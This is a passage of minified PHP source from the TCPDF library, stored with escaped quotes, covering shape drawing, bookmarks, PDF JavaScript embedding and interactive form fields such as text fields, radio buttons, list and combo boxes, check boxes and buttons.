{$this->_outLine($p[$i],$p[$i+1]);}}$this->_out($op);}}if($draw){$this->_outPoint($p[0],$p[1]);for($i=2;$i<$nc;$i=$i+2){$this->_outLine($p[$i],$p[$i+1]);}$this->_out($op);}} function RegularPolygon($x0,$y0,$r,$ns,$angle=0,$draw_circle=false,$style=\'\',$line_style=array(),$fill_color=array(),$circle_style=\'\',$circle_outLine_style=array(),$circle_fill_color=array()){if(3>$ns){$ns=3;}if($draw_circle){$this->Circle($x0,$y0,$r,0,360,$circle_style,$circle_outLine_style,$circle_fill_color);}$p=array();for($i=0;$i<$ns;++$i){$a=$angle+($i*360/$ns);$a_rad=deg2rad((float)$a);$p[]=$x0+($r*sin($a_rad));$p[]=$y0+($r*cos($a_rad));}$this->Polygon($p,$style,$line_style,$fill_color);} function StarPolygon($x0,$y0,$r,$nv,$ng,$angle=0,$draw_circle=false,$style=\'\',$line_style=array(),$fill_color=array(),$circle_style=\'\',$circle_outLine_style=array(),$circle_fill_color=array()){if($nv<2){$nv=2;}if($draw_circle){$this->Circle($x0,$y0,$r,0,360,$circle_style,$circle_outLine_style,$circle_fill_color);}$p2=array();$visited=array();for($i=0;$i<$nv;++$i){$a=$angle+($i*360/$nv);$a_rad=deg2rad((float)$a);$p2[]=$x0+($r*sin($a_rad));$p2[]=$y0+($r*cos($a_rad));$visited[]=false;}$p=array();$i=0;do{$p[]=$p2[$i*2];$p[]=$p2[($i*2)+1];$visited[$i]=true;$i+=$ng;$i%=$nv;}while(!$visited[$i]);$this->Polygon($p,$style,$line_style,$fill_color);} function RoundedRect($x,$y,$w,$h,$r,$round_corner=\'1111\',$style=\'\',$border_style=array(),$fill_color=array()){$this->RoundedRectXY($x,$y,$w,$h,$r,$r,$round_corner,$style,$border_style,$fill_color);} function RoundedRectXY($x,$y,$w,$h,$rx,$ry,$round_corner=\'1111\',$style=\'\',$border_style=array(),$fill_color=array()){if($this->state!=2){return;}if(($round_corner==\'0000\') OR (($rx==$ry) AND ($rx==0))){$this->Rect($x,$y,$w,$h,$style,$border_style,$fill_color);return;}if(!(false===strpos($style,\'F\')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op==\'f\'){$border_style=array();}if($border_style){$this->SetLineStyle($border_style);}$MyArc=4/3*(sqrt(2)-1);$this->_outPoint($x+$rx,$y);$xc=$x+$w-$rx;$yc=$y+$ry;$this->_outLine($xc,$y);if($round_corner[0]){$this->_outCurve($xc+($rx*$MyArc),$yc-$ry,$xc+$rx,$yc-($ry*$MyArc),$xc+$rx,$yc);}else {$this->_outLine($x+$w,$y);}$xc=$x+$w-$rx;$yc=$y+$h-$ry;$this->_outLine($x+$w,$yc);if($round_corner[1]){$this->_outCurve($xc+$rx,$yc+($ry*$MyArc),$xc+($rx*$MyArc),$yc+$ry,$xc,$yc+$ry);}else {$this->_outLine($x+$w,$y+$h);}$xc=$x+$rx;$yc=$y+$h-$ry;$this->_outLine($xc,$y+$h);if($round_corner[2]){$this->_outCurve($xc-($rx*$MyArc),$yc+$ry,$xc-$rx,$yc+($ry*$MyArc),$xc-$rx,$yc);}else {$this->_outLine($x,$y+$h);}$xc=$x+$rx;$yc=$y+$ry;$this->_outLine($x,$yc);if($round_corner[3]){$this->_outCurve($xc-$rx,$yc-($ry*$MyArc),$xc-($rx*$MyArc),$yc-$ry,$xc,$yc-$ry);}else {$this->_outLine($x,$y);$this->_outLine($x+$rx,$y);}$this->_out($op);} function Arrow($x0,$y0,$x1,$y1,$head_style=0,$arm_size=5,$arm_angle=15){$dir_angle=atan2(($y0-$y1),($x0-$x1));if($dir_angle<0){$dir_angle+=(2*M_PI);}$arm_angle=deg2rad($arm_angle);$sx1=$x1;$sy1=$y1;if($head_style>0){$sx1=$x1+(($arm_size-$this->LineWidth)*cos($dir_angle));$sy1=$y1+(($arm_size-$this->LineWidth)*sin($dir_angle));}$this->Line($x0,$y0,$sx1,$sy1);$x2L=$x1+($arm_size*cos($dir_angle+$arm_angle));$y2L=$y1+($arm_size*sin($dir_angle+$arm_angle));$x2R=$x1+($arm_size*cos($dir_angle-$arm_angle));$y2R=$y1+($arm_size*sin($dir_angle-$arm_angle));$mode=\'D\';$style=array();switch($head_style){case 0:{$mode=\'D\';$style=array(1,1,0);break;}case 1:{$mode=\'D\';break;}case 2:{$mode=\'DF\';break;}case 3:{$mode=\'F\';break;}}$this->Polygon(array($x2L,$y2L,$x1,$y1,$x2R,$y2R),$mode,$style,array());} function setDestination($name,$y=-1,$page=\'\',$x=-1){$name=TCPDF_STATIC::encodeNameObject($name);if(TCPDF_STATIC::empty_string($name)){return false;}if($y==-1){$y=$this->GetY();}elseif($y<0){$y=0;}elseif($y>$this->h){$y=$this->h;}if($x==-1){$x=$this->GetX();}elseif($x<0){$x=0;}elseif($x>$this->w){$x=$this->w;}$fixed=false;if(!empty($page) AND ($page[0]==\'*\')){$page=intval(substr($page,1));$fixed=true;}if(empty($page)){$page=$this->PageNo();if(empty($page)){return;}}$this->dests[$name]=array(\'x\'=>$x,\'y\'=>$y,\'p\'=>$page,\'f\'=>$fixed);return $name;} function getDestination(){return $this->dests;} function _putdests(){if(empty($this->dests)){return;}$this->n_dests=$this->_newobj();$out=\' <<\';foreach($this->dests as $name=>$o){$out.=\' /\'.$name.\' \'.sprintf(\'[%u 0 R /XYZ %F %F null]\',$this->page_obj_id[($o[\'p\'])],($o[\'x\']*$this->k),($this->pagedim[$o[\'p\']][\'h\']-($o[\'y\']*$this->k)));}$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);} function setBookmark($txt,$level=0,$y=-1,$page=\'\',$style=\'\',$color=array(0,0,0),$x=-1,$link=\'\'){$this->Bookmark($txt,$level,$y,$page,$style,$color,$x,$link);} function Bookmark($txt,$level=0,$y=-1,$page=\'\',$style=\'\',$color=array(0,0,0),$x=-1,$link=\'\'){if($level<0){$level=0;}if(isset($this->outlines[0])){$lastoutline=end($this->outlines);$maxlevel=$lastoutline[\'l\']+1;}else {$maxlevel=0;}if($level>$maxlevel){$level=$maxlevel;}if($y==-1){$y=$this->GetY();}elseif($y<0){$y=0;}elseif($y>$this->h){$y=$this->h;}if($x==-1){$x=$this->GetX();}elseif($x<0){$x=0;}elseif($x>$this->w){$x=$this->w;}$fixed=false;if(!empty($page) AND ($page[0]==\'*\')){$page=intval(substr($page,1));$fixed=true;}if(empty($page)){$page=$this->PageNo();if(empty($page)){return;}}$this->outlines[]=array(\'t\'=>$txt,\'l\'=>$level,\'x\'=>$x,\'y\'=>$y,\'p\'=>$page,\'f\'=>$fixed,\'s\'=>strtoupper($style),\'c\'=>$color,\'u\'=>$link);} function sortBookmarks(){$outline_p=array();$outline_y=array();foreach($this->outlines as $key=>$row){$outline_p[$key]=$row[\'p\'];$outline_k[$key]=$key;}array_multisort($outline_p,SORT_NUMERIC,SORT_ASC,$outline_k,SORT_NUMERIC,SORT_ASC,$this->outlines);} function _putbookmarks(){$nb=count($this->outlines);if($nb==0){return;}$this->sortBookmarks();$lru=array();$level=0;foreach($this->outlines as $i=>$o){if($o[\'l\']>0){$parent=$lru[($o[\'l\']-1)];$this->outlines[$i][\'parent\']=$parent;$this->outlines[$parent][\'last\']=$i;if($o[\'l\']>$level){$this->outlines[$parent][\'first\']=$i;}}else {$this->outlines[$i][\'parent\']=$nb;}if(($o[\'l\']<=$level) AND ($i>0)){$prev=$lru[$o[\'l\']];$this->outlines[$prev][\'next\']=$i;$this->outlines[$i][\'prev\']=$prev;}$lru[$o[\'l\']]=$i;$level=$o[\'l\'];}$n=$this->n+1;$nltags=\'/<br[\s]?\/>|<\/(blockquote|dd|dl|div|dt|h1|h2|h3|h4|h5|h6|hr|li|ol|p|pre|ul|tcpdf|table|tr|td)>/si\';foreach($this->outlines as $i=>$o){$oid=$this->_newobj();$title=preg_replace($nltags,"
",$o[\'t\']);$title=preg_replace("/[
]+/si",\'\',$title);$title=preg_replace("/[
]+/si","
",$title);$title=strip_tags($title);$title=$this->stringTrim($title);$out=\'<</Title \'.$this->_textstring($title,$oid);$out.=\' /Parent \'.($n+$o[\'parent\']).\' 0 R\';if(isset($o[\'prev\'])){$out.=\' /Prev \'.($n+$o[\'prev\']).\' 0 R\';}if(isset($o[\'next\'])){$out.=\' /Next \'.($n+$o[\'next\']).\' 0 R\';}if(isset($o[\'first\'])){$out.=\' /First \'.($n+$o[\'first\']).\' 0 R\';}if(isset($o[\'last\'])){$out.=\' /Last \'.($n+$o[\'last\']).\' 0 R\';}if(isset($o[\'u\']) AND !empty($o[\'u\'])){if(is_string($o[\'u\'])){if($o[\'u\'][0]==\'#\'){$out.=\' /Dest /\'.TCPDF_STATIC::encodeNameObject(substr($o[\'u\'],1));}elseif($o[\'u\'][0]==\'%\'){$filename=basename(substr($o[\'u\'],1));$out.=\' /A <</S /GoToE /D [0 /Fit] /NewWindow true /T << /R /C /P \'.($o[\'p\']-1).\' /A \'.$this->embeddedfiles[$filename][\'a\'].\' >> >>\';}elseif($o[\'u\'][0]==\'*\'){$filename=basename(substr($o[\'u\'],1));$jsa=\'var D=event.target.doc;var MyData=D.dataObjects;for (var i in MyData) if (MyData[i].path=="\'.$filename.\'") D.exportDataObject( { cName : MyData[i].name, nLaunch : 2});\';$out.=\' /A <</S /JavaScript /JS \'.$this->_textstring($jsa,$oid).\'>>\';}else {$out.=\' /A <</S /URI /URI \'.$this->_datastring($this->unhtmlentities($o[\'u\']),$oid).\'>>\';}}elseif(isset($this->links[$o[\'u\']])){$l=$this->links[$o[\'u\']];if(isset($this->page_obj_id[($l[\'p\'])])){$out.=sprintf(\' /Dest [%u 0 R /XYZ 0 %F null]\',$this->page_obj_id[($l[\'p\'])],($this->pagedim[$l[\'p\']][\'h\']-($l[\'y\']*$this->k)));}}}elseif(isset($this->page_obj_id[($o[\'p\'])])){$out.=\' \'.sprintf(\'/Dest [%u 0 R /XYZ %F %F null]\',$this->page_obj_id[($o[\'p\'])],($o[\'x\']*$this->k),($this->pagedim[$o[\'p\']][\'h\']-($o[\'y\']*$this->k)));}$style=0;if(!empty($o[\'s\'])){if(strpos($o[\'s\'],\'B\')!==false){$style|=2;}if(strpos($o[\'s\'],\'I\')!==false){$style|=1;}}$out.=sprintf(\' /F %d\',$style);if(isset($o[\'c\']) AND is_array($o[\'c\']) AND (count($o[\'c\'])==3)){$color=array_values($o[\'c\']);$out.=sprintf(\' /C [%F %F %F]\',($color[0]/255),($color[1]/255),($color[2]/255));}else {$out.=\' /C [0.0 0.0 0.0]\';}$out.=\' /Count 0\';$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);}$this->OutlineRoot=$this->_newobj();$this->_out(\'<< /Type /Outlines /First \'.$n.\' 0 R /Last \'.($n+$lru[0]).\' 0 R >>\'."
".\'endobj\');} function IncludeJS($script){$this->javascript.=$script;} function addJavascriptObject($script,$onload=false){if($this->pdfa_mode){return false;}++$this->n;$this->js_objects[$this->n]=array(\'n\'=>$this->n,\'js\'=>$script,\'onload\'=>$onload);return $this->n;} function _putjavascript(){if($this->pdfa_mode OR (empty($this->javascript) AND empty($this->js_objects))){return;}if(strpos($this->javascript,\'this.addField\')>0){if(!$this->ur[\'enabled\']){}$jsa=sprintf("ftcpdfdocsaved=this.addField(\'%s\',\'%s\',%d,[%F,%F,%F,%F]);",\'tcpdfdocsaved\',\'text\',0,0,1,0,1);$jsb="getField(\'tcpdfdocsaved\').value=\'saved\';";$this->javascript=$jsa."
".$this->javascript."
".$jsb;}$this->n_js=\'<< /Names [\';if(!empty($this->javascript)){$this->n_js.=\' (EmbeddedJS) \'.($this->n+1).\' 0 R\';}if(!empty($this->js_objects)){foreach($this->js_objects as $key=>$val){if($val[\'onload\']){$this->n_js.=\' (JS\'.$key.\') \'.$key.\' 0 R\';}}}$this->n_js.=\' ] >>\';if(!empty($this->javascript)){$obj_id=$this->_newobj();$out=\'<< /S /JavaScript\';$out.=\' /JS \'.$this->_textstring($this->javascript,$obj_id);$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);}if(!empty($this->js_objects)){foreach($this->js_objects as $key=>$val){$out=$this->_getobj($key)."
".\' << /S /JavaScript /JS \'.$this->_textstring($val[\'js\'],$key).\' >>\'."
".\'endobj\';$this->_out($out);}}} function _addfield($type,$name,$x,$y,$w,$h,$prop){if($this->rtl){$x=$x-$w;}$this->javascript.="if (getField(\'tcpdfdocsaved\').value != \'saved\') {";$k=$this->k;$this->javascript.=sprintf("f".$name."=this.addField(\'%s\',\'%s\',%u,[%F,%F,%F,%F]);",$name,$type,$this->PageNo()-1,$x*$k,($this->h-$y)*$k+1,($x+$w)*$k,($this->h-$y-$h)*$k+1)."
";$this->javascript.=\'f\'.$name.\'.textSize=\'.$this->FontSizePt.";
";while(list($key,$val)=each($prop)){if(strcmp(substr($key,-5),\'Color\')==0){$val=TCPDF_COLORS::_JScolor($val);}else {$val="\'".$val."\'";}$this->javascript.=\'f\'.$name.\'.\'.$key.\'=\'.$val.";
";}if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}$this->javascript.=\'}\';} function setFormDefaultProp($prop=array()){$this->default_form_prop=$prop;} function getFormDefaultProp(){return $this->default_form_prop;} function TextField($name,$w,$h,$prop=array(),$opt=array(),$x=\'\',$y=\'\',$js=false){if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield(\'text\',$name,$x,$y,$w,$h,$prop);return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont[\'fontkey\']]=$this->CurrentFont[\'i\'];$fontstyle=sprintf(\'/F%d %F Tf %s\',$this->CurrentFont[\'i\'],$this->FontSizePt,$this->TextColor);$popt[\'da\']=$fontstyle;$popt[\'ap\']=array();$popt[\'ap\'][\'n\']=\'/Tx BMC q \'.$fontstyle.\' \';$text=\'\';if(isset($prop[\'value\']) AND !empty($prop[\'value\'])){$text=$prop[\'value\'];}elseif(isset($opt[\'v\']) AND !empty($opt[\'v\'])){$text=$opt[\'v\'];}$tmpid=$this->startTemplate($w,$h,false);$align=\'\';if(isset($popt[\'q\'])){switch($popt[\'q\']){case 0:{$align=\'L\';break;}case 1:{$align=\'C\';break;}case 2:{$align=\'R\';break;}default:{$align=\'\';break;}}}$this->MultiCell($w,$h,$text,0,$align,false,0,0,0,true,0,false,true,0,\'T\',false);$this->endTemplate();--$this->n;$popt[\'ap\'][\'n\'].=$this->xobjects[$tmpid][\'outdata\'];unset($this->xobjects[$tmpid]);$popt[\'ap\'][\'n\'].=\'Q EMC\';$opt=array_merge($popt,$opt);unset($opt[\'bs\']);$opt[\'Subtype\']=\'Widget\';$opt[\'ft\']=\'Tx\';$opt[\'t\']=$name;unset($opt[\'mk\'][\'ca\']);unset($opt[\'mk\'][\'rc\']);unset($opt[\'mk\'][\'ac\']);unset($opt[\'mk\'][\'i\']);unset($opt[\'mk\'][\'ri\']);unset($opt[\'mk\'][\'ix\']);unset($opt[\'mk\'][\'if\']);unset($opt[\'mk\'][\'tp\']);$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function RadioButton($name,$w,$prop=array(),$opt=array(),$onvalue=\'On\',$checked=false,$x=\'\',$y=\'\',$js=false){if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}list($x,$y)=$this->checkPageRegions($w,$x,$y);if($js){$this->_addfield(\'radiobutton\',$name,$x,$y,$w,$w,$prop);return;}if(TCPDF_STATIC::empty_string($onvalue)){$onvalue=\'On\';}if($checked){$defval=$onvalue;}else {$defval=\'Off\';}$font=\'zapfdingbats\';if($this->pdfa_mode){$font=\'pdfa\'.$font;}$this->AddFont($font);$tmpfont=$this->getFontBuffer($font);if(!isset($this->radiobutton_groups[$this->page])){$this->radiobutton_groups[$this->page]=array();}if(!isset($this->radiobutton_groups[$this->page][$name])){$this->radiobutton_groups[$this->page][$name]=array();++$this->n;$this->radiobutton_groups[$this->page][$name][\'n\']=$this->n;$this->radio_groups[]=$this->n;}$kid=($this->n+1);$this->radiobutton_groups[$this->page][$name][]=array(\'kid\'=>$kid,\'def\'=>$defval);$prop=array_merge($this->getFormDefaultProp(),$prop);$prop[\'NoToggleToOff\']=\'true\';$prop[\'Radio\']=\'true\';$prop[\'borderStyle\']=\'inset\';$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$tmpfont[\'fontkey\']]=$tmpfont[\'i\'];$fontstyle=sprintf(\'/F%d %F Tf %s\',$tmpfont[\'i\'],$this->FontSizePt,$this->TextColor);$popt[\'da\']=$fontstyle;$popt[\'ap\']=array();$popt[\'ap\'][\'n\']=array();$fx=((($w-$this->getAbsFontMeasure($tmpfont[\'cw\'][108]))/2)*$this->k);$fy=(($w-((($tmpfont[\'desc\'][\'Ascent\']-$tmpfont[\'desc\'][\'Descent\'])*$this->FontSizePt/1000)/$this->k))*$this->k);$popt[\'ap\'][\'n\'][$onvalue]=sprintf(\'q %s BT /F%d %F Tf %F %F Td (\'.chr(108).\') Tj ET Q\',$this->TextColor,$tmpfont[\'i\'],$this->FontSizePt,$fx,$fy);$popt[\'ap\'][\'n\'][\'Off\']=sprintf(\'q %s BT /F%d %F Tf %F %F Td (\'.chr(109).\') Tj ET Q\',$this->TextColor,$tmpfont[\'i\'],$this->FontSizePt,$fx,$fy);if(!isset($popt[\'mk\'])){$popt[\'mk\']=array();}$popt[\'mk\'][\'ca\']=\'(l)\';$opt=array_merge($popt,$opt);$opt[\'Subtype\']=\'Widget\';$opt[\'ft\']=\'Btn\';if($checked){$opt[\'v\']=array(\'/\'.$onvalue);$opt[\'as\']=$onvalue;}else {$opt[\'as\']=\'Off\';}if(!isset($this->radiobutton_groups[$this->page][$name][\'#readonly#\'])){$this->radiobutton_groups[$this->page][$name][\'#readonly#\']=false;}$this->radiobutton_groups[$this->page][$name][\'#readonly#\']|=($opt[\'f\']&64);$this->Annotation($x,$y,$w,$w,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function ListBox($name,$w,$h,$values,$prop=array(),$opt=array(),$x=\'\',$y=\'\',$js=false){if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield(\'listbox\',$name,$x,$y,$w,$h,$prop);$s=\'\';foreach($values as $value){if(is_array($value)){$s.=\',[\'\'.addslashes($value[1]).\'\',\'\'.addslashes($value[0]).\'\']\';}else {$s.=\',[\'\'.addslashes($value).\'\',\'\'.addslashes($value).\'\']\';}}$this->javascript.=\'f\'.$name.\'.setItems(\'.substr($s,1).\');\'."
";return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont[\'fontkey\']]=$this->CurrentFont[\'i\'];$fontstyle=sprintf(\'/F%d %F Tf %s\',$this->CurrentFont[\'i\'],$this->FontSizePt,$this->TextColor);$popt[\'da\']=$fontstyle;$popt[\'ap\']=array();$popt[\'ap\'][\'n\']=\'/Tx BMC q \'.$fontstyle.\' \';$text=\'\';foreach($values as $item){if(is_array($item)){$text.=$item[1]."
";}else {$text.=$item."
";}}$tmpid=$this->startTemplate($w,$h,false);$this->MultiCell($w,$h,$text,0,\'\',false,0,0,0,true,0,false,true,0,\'T\',false);$this->endTemplate();--$this->n;$popt[\'ap\'][\'n\'].=$this->xobjects[$tmpid][\'outdata\'];unset($this->xobjects[$tmpid]);$popt[\'ap\'][\'n\'].=\'Q EMC\';$opt=array_merge($popt,$opt);$opt[\'Subtype\']=\'Widget\';$opt[\'ft\']=\'Ch\';$opt[\'t\']=$name;$opt[\'opt\']=$values;unset($opt[\'mk\'][\'ca\']);unset($opt[\'mk\'][\'rc\']);unset($opt[\'mk\'][\'ac\']);unset($opt[\'mk\'][\'i\']);unset($opt[\'mk\'][\'ri\']);unset($opt[\'mk\'][\'ix\']);unset($opt[\'mk\'][\'if\']);unset($opt[\'mk\'][\'tp\']);$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function ComboBox($name,$w,$h,$values,$prop=array(),$opt=array(),$x=\'\',$y=\'\',$js=false){if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield(\'combobox\',$name,$x,$y,$w,$h,$prop);$s=\'\';foreach($values as $value){if(is_array($value)){$s.=\',[\'\'.addslashes($value[1]).\'\',\'\'.addslashes($value[0]).\'\']\';}else {$s.=\',[\'\'.addslashes($value).\'\',\'\'.addslashes($value).\'\']\';}}$this->javascript.=\'f\'.$name.\'.setItems(\'.substr($s,1).\');\'."
";return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$prop[\'Combo\']=true;$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont[\'fontkey\']]=$this->CurrentFont[\'i\'];$fontstyle=sprintf(\'/F%d %F Tf %s\',$this->CurrentFont[\'i\'],$this->FontSizePt,$this->TextColor);$popt[\'da\']=$fontstyle;$popt[\'ap\']=array();$popt[\'ap\'][\'n\']=\'/Tx BMC q \'.$fontstyle.\' \';$text=\'\';foreach($values as $item){if(is_array($item)){$text.=$item[1]."
";}else {$text.=$item."
";}}$tmpid=$this->startTemplate($w,$h,false);$this->MultiCell($w,$h,$text,0,\'\',false,0,0,0,true,0,false,true,0,\'T\',false);$this->endTemplate();--$this->n;$popt[\'ap\'][\'n\'].=$this->xobjects[$tmpid][\'outdata\'];unset($this->xobjects[$tmpid]);$popt[\'ap\'][\'n\'].=\'Q EMC\';$opt=array_merge($popt,$opt);$opt[\'Subtype\']=\'Widget\';$opt[\'ft\']=\'Ch\';$opt[\'t\']=$name;$opt[\'opt\']=$values;unset($opt[\'mk\'][\'ca\']);unset($opt[\'mk\'][\'rc\']);unset($opt[\'mk\'][\'ac\']);unset($opt[\'mk\'][\'i\']);unset($opt[\'mk\'][\'ri\']);unset($opt[\'mk\'][\'ix\']);unset($opt[\'mk\'][\'if\']);unset($opt[\'mk\'][\'tp\']);$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function CheckBox($name,$w,$checked=false,$prop=array(),$opt=array(),$onvalue=\'Yes\',$x=\'\',$y=\'\',$js=false){if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}list($x,$y)=$this->checkPageRegions($w,$x,$y);if($js){$this->_addfield(\'checkbox\',$name,$x,$y,$w,$w,$prop);return;}if(!isset($prop[\'value\'])){$prop[\'value\']=array(\'Yes\');}$prop=array_merge($this->getFormDefaultProp(),$prop);$prop[\'borderStyle\']=\'inset\';$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$font=\'zapfdingbats\';if($this->pdfa_mode){$font=\'pdfa\'.$font;}$this->AddFont($font);$tmpfont=$this->getFontBuffer($font);$this->annotation_fonts[$tmpfont[\'fontkey\']]=$tmpfont[\'i\'];$fontstyle=sprintf(\'/F%d %F Tf %s\',$tmpfont[\'i\'],$this->FontSizePt,$this->TextColor);$popt[\'da\']=$fontstyle;$popt[\'ap\']=array();$popt[\'ap\'][\'n\']=array();$fx=((($w-$this->getAbsFontMeasure($tmpfont[\'cw\'][110]))/2)*$this->k);$fy=(($w-((($tmpfont[\'desc\'][\'Ascent\']-$tmpfont[\'desc\'][\'Descent\'])*$this->FontSizePt/1000)/$this->k))*$this->k);$popt[\'ap\'][\'n\'][\'Yes\']=sprintf(\'q %s BT /F%d %F Tf %F %F Td (\'.chr(110).\') Tj ET Q\',$this->TextColor,$tmpfont[\'i\'],$this->FontSizePt,$fx,$fy);$popt[\'ap\'][\'n\'][\'Off\']=sprintf(\'q %s BT /F%d %F Tf %F %F Td (\'.chr(111).\') Tj ET Q\',$this->TextColor,$tmpfont[\'i\'],$this->FontSizePt,$fx,$fy);$opt=array_merge($popt,$opt);$opt[\'Subtype\']=\'Widget\';$opt[\'ft\']=\'Btn\';$opt[\'t\']=$name;if(TCPDF_STATIC::empty_string($onvalue)){$onvalue=\'Yes\';}$opt[\'opt\']=array($onvalue);if($checked){$opt[\'v\']=array(\'/Yes\');$opt[\'as\']=\'Yes\';}else {$opt[\'v\']=array(\'/Off\');$opt[\'as\']=\'Off\';}$this->Annotation($x,$y,$w,$w,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function Button($name,$w,$h,$caption,$action,$prop=array(),$opt=array(),$x=\'\',$y=\'\',$js=false){if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield(\'button\',$name,$this->x,$this->y,$w,$h,$prop);$this->javascript.=\'f\'.$name.".buttonSetCaption(\'".addslashes($caption)."\');
";$this->javascript.=\'f\'.$name.".setAction(\'MouseUp\',\'".addslashes($action)."\');
";$this->javascript.=\'f\'.$name.".highlight=\'push\';
";$this->javascript.=\'f\'.$name.".print=false;
";return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$prop[\'Pushbutton\']=\'true\';$prop[\'highlight\']=\'push\';$prop[\'display\']=\'display.noPrint\';$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont[\'fontkey\']]=$this->CurrentFont[\'i\'];$fontstyle=sprintf(\'/F%d %F Tf %s\',$this->CurrentFont[\'i\'],$this->FontSizePt,$this->TextColor);$popt[\'da\']=$fontstyle;$popt[\'ap\']=array();$popt[\'ap\'][\'n\']=\'/Tx BMC q \'.$fontstyle.\' \';$tmpid=$this->startTemplate($w,$h,false);$bw=(2/$this->k);$border=array(\'L\'=>array(\'width\'=>$bw,\'cap\'=>\'square\',\'join\'=>\'miter\',\'dash\'=>0,\'color\'=>array(231)),\'R\'=>array(\'width\'=>$bw,\'cap\'=>\'square\',\'join\'=>\'miter\',\'dash\'=>0,\'color\'=>array(51)),\'T\'=>array(\'width\'=>$bw,\'cap\'=>\'square\',\'join\'=>\'miter\',\'dash\'=>0,\'color\'=>array(231)),\'B\'=>array(\'width\'=>$bw,\'cap\'=>\'square\',\'join\'=>\'miter\',\'dash\'=>0,\'color\'=>array(51)));$this->SetFillColor(204);$this->Cell($w,$h,$caption,$border,0,\'C\',true,\'\',1,false,\'T\',\'M\');$this->endTemplate();--$this->n;$popt[\'ap\'][\'n\'].=$this->xobjects[$tmpid][\'outdata\'];unset($this->xobjects[$tmpid]);$popt[\'ap\'][\'n\'].=\'Q EMC\';if(!isset($popt[\'mk\'])){$popt[\'mk\']=array();}$ann_obj_id=($this->n+1);if(!empty($action) AND !is_array($action)){$ann_obj_id=($this->n+2);}$popt[\'mk\'][\'ca\']=$this->_textstring($caption,$ann_obj_id);$popt[\'mk\'][\'rc\']=$this->_textstring($caption,$ann_obj_id);$popt[\'mk\'][\'ac\']=$this->_textstring($caption,$ann_obj_id);$opt=array_merge($popt,$opt);$opt[\'Subtype\']=\'Widget\';$opt[\'ft\']=\'Btn\';$opt[\'t\']=$caption;$opt[\'v\']=$name;if(!empty($action)){if(is_array($action)){$opt[\'aa\']=\'/D <<\';$bmode=array(\'SubmitForm\',\'ResetForm\',\'ImportData\');foreach($action AS $key=>$val){if(($key==\'S\') AND in_array($val,$bmode)){$opt[\'aa\'].=\' /S /\'.$val;}elseif(($key==\'F\') AND (!empty($val))){$opt[\'aa\'].=\' /F \'.$this->_datastring($val,$ann_obj_id);}elseif(($key==\'Fields\') AND is_array($val) AND !empty($val)){$opt[\'aa\'].=\' /Fields [\';foreach($val AS $field){$opt[\'aa\'].=\' \'.$this->_textstring($field,$ann_obj_id);}$opt[\'aa\'].=\']\';}elseif(($key==\'Flags\')){$ff=0;if(is_array($val)){foreach($val AS $flag){switch($flag){case \'Include/Exclude\':{$ff+=1<<0;break;}case \'IncludeNoValueFields\':{$ff+=1<<1;break;}case \'ExportFormat\':{$ff+=1<<2;break;}case \'GetMethod\':{$ff+=1<<3;break;}case \'SubmitCoordinates\':{$ff+=1<<4;break;}case \'XFDF\':{$ff+=1<<5;break;}case \'IncludeAppendSaves\':{$ff+=1<<6;break;}case \'IncludeAnnotations\':{$ff+=1<<7;break;}case \'SubmitPDF\':{$ff+=1<<8;break;}case \'CanonicalFormat\':{$ff+=1<<9;break;}case \'ExclNonUserAnnots\':{$ff+=1<<10;break;}case \'ExclFKey\':{$ff+=1<<11;break;}case \'EmbedForm\':{$ff+=1<<13;break;}}}}else {$ff=intval($val);}$opt[\'aa\'].=\' /Flags \'.$ff;}}$opt[\'aa\'].=\' >>\';}else {$js_obj_id=$this->addJavascriptObject($action);$opt[\'aa\']=\'/D \'.$js_obj_id.\' 0 R\';}}$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function _putsignature(){if((!$this->sign) OR (!isset($this->signature_data[\'cert_type\']))){return;}$sigobjid=($this->sig_obj_id+1);$out=$this->_getobj($sigobjid)."
